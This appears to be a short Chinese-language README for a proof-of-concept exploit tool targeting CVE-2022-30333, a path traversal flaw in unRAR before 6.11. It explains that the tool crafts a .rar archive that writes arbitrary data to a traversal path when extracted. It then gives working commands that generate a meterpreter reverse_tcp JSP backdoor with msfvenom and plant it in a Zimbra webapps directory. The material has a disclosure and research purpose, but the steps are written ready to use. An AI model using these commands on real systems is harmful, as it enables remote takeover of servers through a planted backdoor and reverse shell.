一个针对 CVE-2022-30333 的概念验证——这是 unRAR 6.11 之前版本中的一个路径遍历漏洞。我编写此工具是为了在 AttackerKB 的讨论中演示该漏洞的利用方式,并计划尽快将其整合进 Metasploit 模块中!
基本上,你只需提供一个目标路径(包括路径遍历)和某些文件数据,此工具就会生成一个 .rar 文件,该文件在解压时会将指定数据写入目标位置。文件名最大长度为 104 字节,文件数据最大长度为 4096 字节。(这并非漏洞本身限制,只是我在生成文件时设定的参数)。
例如,使用 msfvenom 生成一个后门:
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.146 -f jsp -o payload.jsp
然后创建一个 .rar 文件,将 .jsp 文件植入某个有趣的位置:
$ ruby ./cve-2022-30333.rb '../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp' ./payload.jsp > file.rar